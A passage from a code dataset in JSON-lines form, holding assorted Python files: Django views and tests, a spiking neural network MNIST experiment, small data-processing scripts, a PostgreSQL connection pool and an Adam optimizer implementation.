u'corehq.pillows.xform.XFormPillow',\n u'corehq.pillows.domain.DomainPillow',\n u'corehq.pillows.user.UserPillow',\n u'corehq.pillows.application.AppPillow',\n u'corehq.pillows.group.GroupPillow',\n u'corehq.pillows.sms.SMSPillow',\n u'corehq.pillows.user.GroupToUserPillow',\n u'corehq.pillows.user.UnknownUsersPillow',\n u'corehq.pillows.sofabed.FormDataPillow',\n u'corehq.pillows.sofabed.CaseDataPillow',\n u'corehq.pillows.log.PhoneLogPillow', ]\n\n self.assertEqual(expected_pillows, Command.get_pillows_from_settings(self.pillowtops))\n\n def test_with_blacklist_items(self):\n expected_pillows = [u'corehq.pillows.case.CasePillow',\n u'corehq.pillows.xform.XFormPillow',\n u'corehq.pillows.domain.DomainPillow',\n u'corehq.pillows.user.UserPillow',\n u'corehq.pillows.application.AppPillow',\n u'corehq.pillows.group.GroupPillow',\n u'corehq.pillows.sms.SMSPillow',\n u'corehq.pillows.user.GroupToUserPillow',\n u'corehq.pillows.user.UnknownUsersPillow',\n u'corehq.pillows.sofabed.FormDataPillow',\n u'corehq.pillows.sofabed.CaseDataPillow', ]\n\n self.assertEqual(expected_pillows, Command.get_pillows_from_settings(self.pillowtops,\n {'pillowtop_blacklist': ['phonelog']}))\n\n def test_loading_existing_conf_file(self):\n expected_reject = {'pillowtop_blacklist': ['fluff']}\n\n reject = Command.get_rejected_pillow_types(os.path.join(self.here, '..', '..', '..'), 'staging')\n self.assertEqual(reject, expected_reject)\n\n def test_loading_no_existing_conf_file(self):\n expected_reject = {}\n\n reject = Command.get_rejected_pillow_types(os.path.join(self.here, '..', '..', '..'), 'production')\n self.assertEqual(reject, expected_reject)\n\n def test_india_server_exclusions(self):\n self.pillowtops['fluff'] = [\n 'custom.bihar.models.CareBiharFluffPillow',\n 'custom.opm.models.OpmCaseFluffPillow',\n 'custom.opm.models.OpmUserFluffPillow',\n ]\n\n reject = Command.get_rejected_pillow_types(os.path.join(self.here, '..', '..', '..'), 'india')\n pillows = Command.get_pillows_from_settings(self.pillowtops, reject)\n has_bihar_pillow = False\n for pillow in pillows:\n assert pillow != 'custom.opm.models.OpmCaseFluffPillow'\n if pillow == 'custom.bihar.models.CareBiharFluffPillow':\n has_bihar_pillow = True\n assert has_bihar_pillow\n","sub_path":"corehq/apps/hqadmin/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"97720969","text":"from django.http import HttpResponse\r\nfrom django.shortcuts import render\r\n\r\n# Create your views here.\r\nfrom formvalid.forms import InsertDataForm, UpdateDataForm, DeleteDataForm\r\nfrom formvalid.models import Student\r\n\r\n\r\ndef home_view(request):\r\n return render(request,'curd_home.html')\r\n\r\ndef insert_view(request):\r\n if request.method == 'POST':\r\n iform = InsertDataForm(request.POST)\r\n if iform.is_valid():\r\n rno = request.POST.get('rno')\r\n sname = request.POST.get('sname')\r\n category = request.POST.get('category')\r\n city = request.POST.get('city')\r\n result = request.POST.get('result')\r\n # photo = request.POST.get('photo')\r\n\r\n stdinfo = Student(rno = rno,\r\n sname = sname,\r\n category = category,\r\n city = city,\r\n result = result)\r\n # photo = photo)\r\n stdinfo.save()\r\n iform = InsertDataForm()\r\n return render(request,'student_insert.html',{'iform':iform})\r\n else:\r\n return HttpResponse(\"\"\r\n \"

Invalid form

\"\r\n \"\"\r\n \"\")\r\n else:\r\n iform = InsertDataForm()\r\n return render(request,'student_insert.html',{'iform':iform})\r\n\r\n\r\ndef fetch_view(request):\r\n stdinfo = Student.objects.all()\r\n return render(request,'student_fetch.html',{'stdinfo':stdinfo})\r\n\r\n\r\ndef update_view(request):\r\n if request.method == 'POST':\r\n student_update = UpdateDataForm(request.POST)\r\n if student_update.is_valid():\r\n rno = request.POST.get('rno')\r\n result = request.POST.get('result')\r\n sdata = Student.objects.filter(rno=rno)\r\n if not sdata:\r\n return HttpResponse(\"Invalid Roll number\")\r\n else:\r\n sdata.update(result = result)\r\n student_update = UpdateDataForm()\r\n return render(request,'student_update.html',{'student_update':student_update})\r\n else:\r\n student_update = UpdateDataForm()\r\n return render(request,'student_update.html',{'student_update':student_update})\r\n\r\n\r\ndef delete_view(request):\r\n if request.method == 'POST':\r\n student_delete = DeleteDataForm(request.POST)\r\n if student_delete.is_valid():\r\n rno = request.POST.get('rno','')\r\n stdinfo = Student.objects.filter(rno = rno)\r\n if not stdinfo:\r\n return HttpResponse(\"Roll number not avaliable\")\r\n else:\r\n stdinfo.delete()\r\n student_delete = DeleteDataForm()\r\n return render(request,'student_delete.html',{'student_delete':student_delete})\r\n else:\r\n student_delete =DeleteDataForm()\r\n return render(request,'student_delete.html',{'student_delete':student_delete})","sub_path":"sample_project_01/formvalid/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"434838000","text":"\nimport sys,os\nsys.path.insert(1, os.path.join(sys.path[0], '..'))\nimport torch.nn as nn\nimport math\nimport torch\nimport argparse\nimport matplotlib.pyplot as plt\nfrom torchvision import transforms\n\nfrom time import time as t\nfrom tqdm import tqdm\n\nfrom bindsnet.datasets import MNIST\nfrom bindsnet.encoding import RankOrderEncoder\nfrom bindsnet.network import Network\nfrom bindsnet.network.monitors import Monitor\nfrom bindsnet.network.nodes import Input\nfrom bindsnet.network.topology import Conv2dConnection, Connection\nfrom bindsnet.utils import get_square_weights\nfrom bindsnet.analysis.plotting import (\n\tplot_input,\n\tplot_spikes,\n\tplot_voltages,\n\tplot_weights,\n\tplot_conv2d_weights,\n\tplot_voltages,\n)\n\nfrom TNN import *\nfrom TNN_utils import *\n\nprint()\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--seed\", type=int, default=0)\nparser.add_argument(\"--n_epochs\", type=int, default=10)\nparser.add_argument(\"--n_test\", type=int, default=10000)\nparser.add_argument(\"--examples\", type=int, default=1000)\nparser.add_argument(\"--time\", type=int, default=50)\nparser.add_argument(\"--dt\", type=int, default=1.0)\nparser.add_argument(\"--intensity\", type=float, default=128.0)\nparser.add_argument(\"--train\", dest=\"train\", action=\"store_true\")\nparser.add_argument(\"--test\", dest=\"train\", action=\"store_false\")\nparser.add_argument(\"--plot\", dest=\"plot\", action=\"store_true\")\nparser.add_argument(\"--device_id\", type=int, default=0)\n\nargs = parser.parse_args()\n\nseed = args.seed\nn_epochs = args.n_epochs\nn_test = args.n_test\nexamples = args.examples\ntime = args.time\ndt = args.dt\nintensity = args.intensity\ntrain = args.train\nplot = args.plot\ndevice_id = 0#args.device_id\n\ninput_size = 28\ninput_slice = 16\ntnn_layer_sz = 50\nrtnn_layer_sz = 100\nnum_timesteps = 16\ntnn_thresh = 64\nrtnn_thresh = 16\nmax_weight = num_timesteps\nnum_winners_tnn = 1 \nnum_winners_rtnn = rtnn_layer_sz//10\n\ntime = num_timesteps\n\ntorch.manual_seed(seed)\n\n# build network:\nnetwork = Network(dt=1)\ninput_layer_a = Input(n=input_slice)\ninput_layer_b = Input(n=input_slice)\n\ntnn_layer_1a = TemporalNeurons( \n\tn=tnn_layer_sz, \n\ttimesteps=num_timesteps, \n\tthreshold=tnn_thresh, \n\tnum_winners=num_winners_tnn\n\t)\ntnn_layer_1b = TemporalNeurons( \n n=tnn_layer_sz, \n timesteps=num_timesteps, \n threshold=tnn_thresh, \n num_winners=num_winners_tnn\n )\nrtnn_layer_1 = TemporalNeurons( \n n=rtnn_layer_sz, \n timesteps=num_timesteps, \n threshold=rtnn_thresh, \n num_winners=num_winners_rtnn\n )\n\nbuffer_layer_1 = TemporalBufferNeurons(n=rtnn_layer_sz, timesteps=num_timesteps)\nbuffer_layer_2 = TemporalBufferNeurons(n=rtnn_layer_sz, timesteps=num_timesteps)\n\nstdp_tnn_params = {\n \"ucapture\": 8/128,\n \"uminus\": 8/128,\n \"usearch\": 2/128,\n \"ubackoff\": 96/128,\n \"umin\": 4/128,\n \"maxweight\": max_weight\n}\nstdp_rtnn_params = {\n \"ucapture\": 10/128,\n \"uminus\": 10/128,\n \"usearch\": 30/128,\n \"ubackoff\": 96/128,\n \"umin\": 16/128,\n \"maxweight\": max_weight\n}\n\n# Feed-forward connections\nw_rand_l1 = 0.1 * max_weight * torch.rand(input_layer_a.n, tnn_layer_1a.n)\nw_rand_l2 = 0.1 * max_weight * torch.rand(tnn_layer_1a.n, rtnn_layer_1.n)\nFF1a = Connection(source=input_layer_a, target=tnn_layer_1a,\n\tw = w_rand_l1, timesteps = num_timesteps,\n update_rule=TNN_STDP, **stdp_tnn_params)\nFF1b = Connection(source=input_layer_b, target=tnn_layer_1b,\n w = w_rand_l1, timesteps = num_timesteps,\n update_rule=TNN_STDP, **stdp_tnn_params )\nFF2a = Connection(source=tnn_layer_1a, target=rtnn_layer_1,\n w = w_rand_l2, timesteps = num_timesteps,\n update_rule=TNN_STDP, **stdp_rtnn_params )\nFF2b = Connection(source=tnn_layer_1b, target=rtnn_layer_1,\n w = w_rand_l2, timesteps = num_timesteps,\n update_rule=TNN_STDP, **stdp_rtnn_params )\n\n# Recurrent connections\nw_eye_rtnn = max_weight * torch.diag(torch.ones(rtnn_layer_1.n))\nrTNN_to_buf1 = Connection(source=rtnn_layer_1, target=buffer_layer_1,\n\tw = w_eye_rtnn, update_rule=None)\nbuf1_to_buf2 = Connection(source=buffer_layer_1, target=buffer_layer_2,\n w = w_eye_rtnn, update_rule=None)\n\nbuf1_to_rTNN = Connection(\n\tsource=buffer_layer_1,\n\ttarget=rtnn_layer_1,\n\tw = 0.5 * max_weight * torch.rand(rtnn_layer_1.n, rtnn_layer_1.n),\n timesteps = num_timesteps,\n update_rule=None)#TNN_STDP, **stdp_rtnn_params )\n\nbuf2_to_rTNN = Connection(\n source=buffer_layer_2,\n target=rtnn_layer_1,\n w = 0.5 * max_weight * torch.rand(rtnn_layer_1.n, rtnn_layer_1.n),\n timesteps = num_timesteps,\n update_rule=None)#TNN_STDP, **stdp_rtnn_params )\n\n# Add all nodes to network:\nnetwork.add_layer(input_layer_a, name=\"I_a\")\nnetwork.add_layer(input_layer_b, name=\"I_b\")\nnetwork.add_layer(tnn_layer_1a, name=\"TNN_1a\")\nnetwork.add_layer(tnn_layer_1b, name=\"TNN_1b\")\nnetwork.add_layer(buffer_layer_1, name=\"BUF_1\")\nnetwork.add_layer(buffer_layer_2, name=\"BUF_2\")\nnetwork.add_layer(rtnn_layer_1, name=\"rTNN_1\")\n\n# Add connections to network:\n# (feedforward)\nnetwork.add_connection(FF1a, source=\"I_a\", target=\"TNN_1a\")\nnetwork.add_connection(FF1b, source=\"I_b\", target=\"TNN_1b\")\nnetwork.add_connection(FF2a, source=\"TNN_1a\", target=\"rTNN_1\")\nnetwork.add_connection(FF2b, source=\"TNN_1b\", target=\"rTNN_1\")\n# (Recurrences)\nnetwork.add_connection(rTNN_to_buf1, source=\"rTNN_1\", target=\"BUF_1\")\nnetwork.add_connection(buf1_to_buf2, source=\"BUF_1\", target=\"BUF_2\")\nnetwork.add_connection(buf1_to_rTNN, source=\"BUF_1\", target=\"rTNN_1\")\nnetwork.add_connection(buf2_to_rTNN, source=\"BUF_2\", target=\"rTNN_1\")\n\n\n# End of network creation\n\n# Monitors:\nspikes = {}\nfor l in network.layers:\n\tspikes[l] = Monitor(network.layers[l], [\"s\"], time=num_timesteps)\n\tnetwork.add_monitor(spikes[l], name=\"%s_spikes\" % l)\n\n\n# Data and initial encoding:\ndataset = MNIST(\n\tRampNoLeakTNNEncoder(time=num_timesteps, dt=1),\n\tNone,\n\troot=os.path.join(\"..\", \"..\", \"data\", \"MNIST\"),\n\tdownload=True,\n\ttransform=transforms.Compose(\n\t\t[transforms.ToTensor(), transforms.Lambda(lambda x: x * intensity)]\n\t),\n)\n\n\n# Create a dataloader to iterate and batch data\ndataloader = torch.utils.data.DataLoader(\n\tdataset, batch_size=1, shuffle=True, num_workers=0, pin_memory=False\n)\n\n\ninpt_axes = None\ninpt_ims = None\nspike_axes = None\nspike_ims = None\nweights_im = None\nweights_im2 = None\n\nenum_dataloader = enumerate(dataloader)\ni_offset = 0\n# Start training synapses via STDP:\nseqMnistSimSplit(examples, enum_dataloader, i_offset, network, time, spikes,\n train=True, plot=False, print_str=\"Pre-Training\", slice_size=input_slice)\ni_offset += examples\n\nif plot:\n input(\"Press enter to continue to plotting...\")\n pbar = tqdm(enumerate(dataloader))\n n_iters = 1\n for (i, dataPoint) in pbar:\n if i > n_iters:\n break\n datum = dataPoint[\"encoded_image\"].view(time, 1, 1, 28, 28)\n label = dataPoint[\"label\"]\n pbar.set_description_str(\"Train progress: (%d / %d)\" % (i, n_iters))\n for row in range(28):\n inpt_axes, inpt_ims = plot_input(\n dataPoint[\"image\"].view(28, 28),\n datum.view(time, 28, 28).sum(0)[row,:].view(1,28)*128,\n #datum[:,:,:,row,:].sum(0).view(1,28),\n label=label,\n axes=inpt_axes,\n ims=inpt_ims,\n )\n input_slices = {\n \"I_a\":datum[:,:,:,row,:input_slice],\n \"I_b\":datum[:,:,:,row,28-input_slice:]\n }\n network.run(inputs=input_slices, time=time, input_time_dim=1)\n spike_ims, spike_axes = plot_spikes(\n {layer: spikes[layer].get(\"s\").view(time, -1) for layer in spikes},\n axes=spike_axes,\n ims=spike_ims,\n )\n plt.pause(1e-4)\n for axis in spike_axes:\n axis.set_xticks(range(time))\n axis.set_xticklabels(range(time))\n\n for l,a in zip(network.layers, spike_axes):\n a.set_yticks(range(network.layers[l].n))\n\n weights_im = plot_weights(\n FF2a.w,\n im=weights_im, wmin=0, wmax=max_weight\n )\n weights_im2 = plot_weights(\n buf1_to_rTNN.w,\n im=weights_im2, wmin=0, wmax=max_weight\n )\n plt.pause(1e-12)\n\n network.reset_state_variables()\n\n# Stop network from training further:\nnetwork.train(mode=False)\n\n# Generate training pairs for log reg readout:\ntraining_pairs = seqMnistSimSplit(examples, enum_dataloader, i_offset, network, time, spikes,\n train=True, plot=False, print_str=\"Readout Training\", slice_size=input_slice)\ni_offset += examples\n\n\n# Create and train logistic regression model on reservoir outputs.\nmodel = LogReg(rtnn_layer_sz, 10)\ncriterion = torch.nn.MSELoss(reduction=\"sum\")\noptimizer = torch.optim.SGD(model.parameters(), lr=1e-4, momentum=0.9)\ntrain_readout(n_epochs, training_pairs, model, optimizer, criterion)\n\n# Generate testing pairs for log reg test:\ntest_pairs = seqMnistSimSplit(examples, enum_dataloader, i_offset, network, time, spikes,\n train=False, plot=False, print_str=\"Readout Testing\", slice_size=input_slice)\ni_offset += examples\n\n# Test the Model\ncorrect, total = 0, 0\nfor s, label in test_pairs:\n outputs = model(s)\n _, predicted = torch.max(outputs.data.unsqueeze(0), 1)\n total += 1\n correct += int(predicted == label.long())\n\nprint(\n \"\\n Accuracy of the model on %d test images: %.2f %%\"\n % (examples, 100 * correct / total)\n)\n\n# Drop into pdb in case we want to save the network or anything.\npdb.set_trace()\n","sub_path":"recurrent_only_scripts/rc_buff_seq_V2.py","file_name":"rc_buff_seq_V2.py","file_ext":"py","file_size_in_byte":9474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"237583687","text":"import pandas as pd\n\n\ndef unpack_df(cards):\n number = []\n shape = []\n color = []\n shading = []\n for card in cards:\n number.append(card[0])\n shape.append(card[1])\n color.append(card[2])\n shading.append(card[3])\n df = pd.DataFrame({'number':number,'shape':shape,'color':color,'shading':shading})\n return df\n\ndef unpack_dict(cards):\n board = {}\n for i in range(0,len(cards)):\n board[i] ={'number':cards[i][0],\n 'shape':cards[i][1],\n 'color':cards[i][2],\n 'shading':cards[i][3]}\n \n return board\n\n \n\ndef unpack_result(cards):\n predictions = []\n for card in cards:\n predictions.append(list(card[1]))\n \n board = {}\n for i in range(0,len(cards)):\n board[i] ={'number':predictions[i][0],\n 'shape':predictions[i][1],\n 'color':predictions[i][2],\n 'shading':predictions[i][3]}\n print(board)\n\n return board","sub_path":"unpack.py","file_name":"unpack.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"423997102","text":"from django.contrib.auth.views import LoginView, LogoutView\r\nfrom django.urls import path\r\nfrom accounts import views\r\n\r\n\r\nurlpatterns = [\r\n path('signup/', views.signup, name='signup'),\r\n path('login/', LoginView.as_view(\r\n redirect_authenticated_user=True,\r\n template_name='accounts/login.html'), name='login'),\r\n path('logout/', LogoutView.as_view(), name='logout'),\r\n]","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"377150942","text":"'''\nWhat is the average annual rainfall of 'COASTAL KARNATAKA' subdivision?\n'''\n\nimport json\n\nwith open('rainfall_india_1901-2015.jl','r') as file_json_lines:\n total_rainfall = 0.0\n total_no_div = 0\n for line in file_json_lines:\n state_dict = json.loads(line) \n #load each line from rainfall_india_1901-2015.jl as python dictionary\n if state_dict['SUBDIVISION'] == 'COASTAL KARNATAKA':\n #if state is 'COASTAL KARNATAKA' then do something\n if state_dict['ANNUAL'] != 'NA':\n #some field has 'NA' value\n total_rainfall += float(state_dict['ANNUAL'])\n total_no_div += 1\n print(total_rainfall/total_no_div)\n ","sub_path":"assignment2.py","file_name":"assignment2.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"209003563","text":"# 동빈이는 두 개의 배열 A와 B를 가지고 있습니다.\n# 두 배열은 N개의 원소로 구성되어 있으며, 배열의 원소는 모두 자연수입니다.\n# 동빈이는 최대 K번의 바꿔치기 연산을 수행할 수 있는데,\n# 바꿔치기 연산이란 배열 A에 있는 원소 하나와 배열 B에 있는 원소 하나를 골라서 두 원소를 서로 바꾸는 것을 말합니다.\n# 동빈이의 최종 목표는 배열 A의 모든 원소의 합이 최대가 되도록 하는 것이며, 여러분은 동빈이를 도와야 합니다.\n# N, K, 그리고 배열 A와 B의 정보가 주어졌을 떄,\n# 최대 K번의 바꿔치기 연산을 수행하여 만들 수 있는 배열 A의 모든 원소의 합의 최댓값을 출력하는 프로그램을 작성하세요.\n\nn, k = map(int, input().split()) # N과 K를 입력받기\na = list(map(int, input().split())) # 배열 A의 모든 원소를 입력 받기\nb = list(map(int, input().split())) # 배열 B의 모든 원소를 입력 받기\n\na.sort() # 배열 A 는 오름차순 정렬 수행\nb.sort(reverse=True) # 배열 B는 내림차순 정렬 수행\n\n# 첫번째 인덱스부터 확인하며, 두 배열의 원소를 최대 K번 비교\nfor i in range(k):\n # A의 원소가 B의 원소보다 작은 경우\n if a[i] < b[i]:\n # 두 원소를 교체\n a[i], b[i] = b[i], a[i]\n else: # A의 원소가 B의 원소보다 크거나 같을 때, 반복문을 탈출\n break\n\nprint(sum(a))\n","sub_path":"python 예제/정렬알고리즘/두 배열의 원소 교체.py","file_name":"두 배열의 원소 교체.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"30882874","text":"# -*- coding: utf-8 -*-\n\nimport sys\nfrom os import makedirs\nfrom os.path import isdir, join\nfrom shutil import rmtree\n\nimport pytest\nfrom numpy import array\nfrom pyleecan.Classes.ImportMatrixVal import ImportMatrixVal\nfrom pyleecan.Classes.Material import Material\nfrom pyleecan.Classes.MatMagnetics import MatMagnetics\nfrom pyleecan.Functions.load import load_matlib\nfrom pyleecan.GUI.Dialog.DMatLib.DMatLib import DMatLib\nfrom PySide2 import QtWidgets\nfrom Tests import save_gui_path\n\n# To save the tmp Matlib\ntmp_folder = join(save_gui_path, \"DMatLib\", \"tmp_matlib\")\n\n\nclass TestDMatLib(object):\n \"\"\"Test that the widget DMatLib behave like it should\"\"\"\n\n @pytest.fixture\n def setup(self):\n \"\"\"Run at the begining of every test to setup the gui\"\"\"\n\n if not QtWidgets.QApplication.instance():\n self.app = QtWidgets.QApplication(sys.argv)\n else:\n self.app = QtWidgets.QApplication.instance()\n\n mat_lib = list()\n mat_lib.append(Material())\n mat_lib[0].name = \"test_material_1\"\n mat_lib[0].is_isotropic = True\n mat_lib[0].elec.rho = 0.11\n mat_lib[0].mag = MatMagnetics(mur_lin=0.12, Wlam=0.13)\n mat_lib[0].mag.BH_curve = ImportMatrixVal(\n value=array([[0, 1], [2, 100], [3, 300], [4, 450]])\n )\n mat_lib[0].struct.rho = 0.14\n mat_lib[0].struct.Ex = 0.15\n mat_lib[0].struct.Ey = 0.152\n mat_lib[0].struct.Ez = 0.153\n mat_lib[0].struct.nu_xy = 0.16\n mat_lib[0].struct.nu_yz = 0.162\n mat_lib[0].struct.nu_xz = 0.163\n mat_lib[0].struct.Gxy = 0.17\n mat_lib[0].struct.Gyz = 0.172\n mat_lib[0].struct.Gxz = 0.173\n mat_lib[0].HT.lambda_x = 0.18\n mat_lib[0].HT.lambda_y = 0.182\n mat_lib[0].HT.lambda_z = 0.183\n mat_lib[0].HT.Cp = 0.19\n mat_lib[0].HT.alpha = 0.20\n mat_lib[0].eco.cost_unit = 0.21\n\n mat_lib.append(Material(name=\"test_material_2\"))\n mat_lib.append(Material(name=\"test_material_3\"))\n mat_lib.append(Material(name=\"test_material_4\"))\n mat_lib.append(Material(name=\"test_material_5\"))\n mat_lib.append(Material(name=\"test_material_6\"))\n mat_lib.append(Material(name=\"test_material_7\"))\n\n # Save material in a tmp folder\n if isdir(tmp_folder):\n rmtree(tmp_folder)\n makedirs(tmp_folder)\n for mat in mat_lib:\n mat.save(join(tmp_folder, mat.name + \".json\"))\n\n material_dict = load_matlib(matlib_path=tmp_folder)\n widget = DMatLib(material_dict=material_dict)\n\n yield {\"widget\": widget}\n\n self.app.quit()\n rmtree(tmp_folder)\n\n def test_init(self, setup):\n \"\"\"Check that the Widget spinbox initialise to the lamination value\"\"\"\n assert setup[\"widget\"].out_name.text() == \"name: test_material_1\"\n assert setup[\"widget\"].out_iso.text() == \"type: isotropic\"\n assert setup[\"widget\"].out_rho_elec.text() == \"rho = 0.11 [ohm.m]\"\n assert setup[\"widget\"].out_cost_unit.text() == u\"cost_unit = 0.21 [€/kg]\"\n assert setup[\"widget\"].out_Cp.text() == \"Cp = 0.19 [W/kg/K]\"\n assert setup[\"widget\"].out_alpha.text() == \"alpha = 0.2\"\n assert setup[\"widget\"].out_L.text() == \"Lambda = 0.18 [W/K]\"\n assert setup[\"widget\"].out_rho_meca.text() == \"rho = 0.14 [kg/m^3]\"\n assert setup[\"widget\"].out_E.text() == \"E = 0.15 [Pa]\"\n assert setup[\"widget\"].out_G.text() == \"G = 0.17 [Pa]\"\n assert setup[\"widget\"].out_nu.text() == \"nu = 0.16\"\n assert setup[\"widget\"].out_mur_lin.text() == \"mur_lin = 0.12\"\n assert setup[\"widget\"].out_wlam.text() == \"wlam = 0.13 [m]\"\n assert setup[\"widget\"].out_BH.text() == \"Matrix (4, 2)\"\n\n # Check list\n assert setup[\"widget\"].nav_mat.count() == 7\n for ii in range(0, setup[\"widget\"].nav_mat.count()):\n assert setup[\"widget\"].nav_mat.item(ii).text() == \"00\" + str(\n ii + 1\n ) + \" - test_material_\" + str(ii + 1)\n","sub_path":"Tests/GUI/DMatLib/test_DMatLib.py","file_name":"test_DMatLib.py","file_ext":"py","file_size_in_byte":4037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"547237366","text":"# topics = [\"哈希表\"]\n\nfrom typing import List, Dict\n\n\nclass Solution:\n def fairCandySwap(self, A: List[int], B: List[int]) -> List[int]:\n \"\"\"\n Hash Table\n time O(n + m), space O(n), n 和 m 分别为 A 和 B 的长度\n \"\"\"\n t1 = sum(A)\n t2 = sum(B)\n avg = (t1 + t2) // 2\n\n d: Dict[int, int] = {}\n for ele in A:\n another = ele + avg - t1\n d.setdefault(another, ele)\n\n for ele in B:\n if ele in d:\n return [d[ele], ele]\n\n return []\n","sub_path":"algorithms/[888]公平的糖果交换/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"384286590","text":"\n'''\n#P77: zip() 関数の使い方\nsimple_list1 = [1, 2, 3]\nsimple_list2 = [4, 5, 6]\nfor x,y in zip(simple_list1, simple_list2):\n print(x, y)\n\n# P81: 散布図の描画\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nx = [1, 2, 3, 4]\ny = [2, 4, 6, 8]\nplt.scatter(x, y)\nplt.savefig('sampuzu.png')\n\n#P85: ファイルからデータを読み込む\ndef read_data(filename):\n return [float(line) for line in open(filename)]\n\ndef calculate_mean(numbers):\n return sum(numbers) / len(numbers)\n\nif __name__ == '__main__':\n data = read_data('mydata.txt')\n mean = calculate_mean(data)\n print('Mean: {0}'.format(mean))\n\n#P86: Read a CSV fil\nimport csv\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\ndef scatter_plot(x, y):\n plt.scatter(x, y)\n plt.xlabel('Number')\n plt.ylabel('Square')\n plt.savefig('numbers.png')\n \ndef read_csv(filename):\n numbers = []\n squared = []\n with open(filename) as f:\n reader = csv.reader(f)\n next(reader)\n for row in reader:\n numbers.append(int(row[0]))\n squared.append(int(row[1]))\n return numbers, squared\n\nif __name__ == '__main__':\n numbers, squared = read_csv('numbers.csv')\n scatter_plot(numbers, squared)\n'''\n\n# Google trends から取得したCSVを解析する\n# https://www.google.com/trends/correlate/search?e=summer&t=weekly&p=us#scatter,10\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport csv\n\ndef scatter_plot(x, y):\n '散布図を描く'\n plt.scatter(x, y)\n plt.xlabel('Number')\n plt.ylabel('Square')\n plt.savefig('correlate-summer.png')\n\ndef find_corr_x_y(x,y): \n '相関関係を計算する'\n n = len(x)\n # find the sum of the products\n prod = []\n for xi,yi in zip(x,y):\n prod.append(xi*yi)\n sum_prod_x_y = sum(prod)\n sum_x = sum(x)\n sum_y = sum(y)\n squared_sum_x = sum_x**2\n squared_sum_y = sum_y**2\n x_square = []\n for xi in x:\n x_square.append(xi**2)\n # find the sum\n x_square_sum = sum(x_square)\n y_square=[]\n for yi in y:\n y_square.append(yi**2)\n # find the sum\n y_square_sum = sum(y_square)\n \n # use formula to calculate correlation\n numerator = n*sum_prod_x_y - sum_x*sum_y\n denominator_term1 = n*x_square_sum - squared_sum_x\n denominator_term2 = n*y_square_sum - squared_sum_y\n denominator = (denominator_term1*denominator_term2)**0.5\n correlation = numerator/denominator\n \n return correlation\n\ndef read_csv(filename):\n with open(filename) as f:\n reader = csv.reader(f)\n next(reader)\n summer = []\n highest_correlated = []\n for row in reader:\n summer.append(float(row[1]))\n highest_correlated.append(float(row[2]))\n return summer, highest_correlated\n\nif __name__ == '__main__':\n summer, highest_correlated = read_csv('correlate-summer.csv')\n corr = find_corr_x_y(summer, highest_correlated)\n print('Highest correlation: {0}'.format(corr))\n scatter_plot(summer, highest_correlated)\n\n","sub_path":"chapter3/2_chapter3_soukan.py","file_name":"2_chapter3_soukan.py","file_ext":"py","file_size_in_byte":3095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"271066512","text":"import psycopg2\nimport psycopg2.pool\n\n# 建立PostgreSQL数据库的连接池(全局)\ndbconn_pool = psycopg2.pool.ThreadedConnectionPool(\n minconn=2,\n maxconn=10,\n host='localhost', \n database='hwdb',\n user='dbo', \n password='pass')\n\n\nfrom contextlib import contextmanager\n@contextmanager\ndef db_cursor():\n \"\"\" 创建数据库游标的上下文,方便执行SQL语句 \"\"\"\n conn = dbconn_pool.getconn() \n try:\n with conn.cursor() as cur:\n yield cur \n conn.commit()\n except:\n conn.rollback() \n raise \n finally:\n dbconn_pool.putconn(conn) \n\n\n\n","sub_path":"05/05/dbconn.py","file_name":"dbconn.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"578086990","text":"import theano.tensor as T\r\nimport theano\r\nimport numpy\r\n\r\n\r\ndef adam(loss, all_params, learning_rate=0.001, b1=0.9, b2=0.999, e=1e-8,\r\n gamma=1-1e-8):\r\n\r\n updates = []\r\n all_grads = theano.grad(loss, all_params)\r\n alpha = learning_rate\r\n t = theano.shared(numpy.float32(1))\r\n b1_t = b1*gamma**(t-1) #(Decay the first moment running average coefficient)\r\n\r\n for theta_previous, g in zip(all_params, all_grads):\r\n m_previous = theano.shared(numpy.zeros(theta_previous.get_value().shape,\r\n dtype=theano.config.floatX))\r\n v_previous = theano.shared(numpy.zeros(theta_previous.get_value().shape,\r\n dtype=theano.config.floatX))\r\n\r\n m = b1_t*m_previous + (1 - b1_t)*g # (Update biased first moment estimate)\r\n v = b2*v_previous + (1 - b2)*g**2 # (Update biased second raw moment estimate)\r\n m_hat = m / (1-b1**t) # (Compute bias-corrected first moment estimate)\r\n v_hat = v / (1-b2**t) # (Compute bias-corrected second raw moment estimate)\r\n theta = theta_previous - (alpha * m_hat) / (T.sqrt(v_hat) + e) #(Update parameters)\r\n\r\n updates.append((m_previous, m))\r\n updates.append((v_previous, v))\r\n updates.append((theta_previous, theta))\r\n updates.append((t, t + 1.))\r\n return updates\r\n\r\n\r\nif __name__ == '__main__':\r\n pass\r\n","sub_path":"FashionMNIST/Adam.py","file_name":"Adam.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} 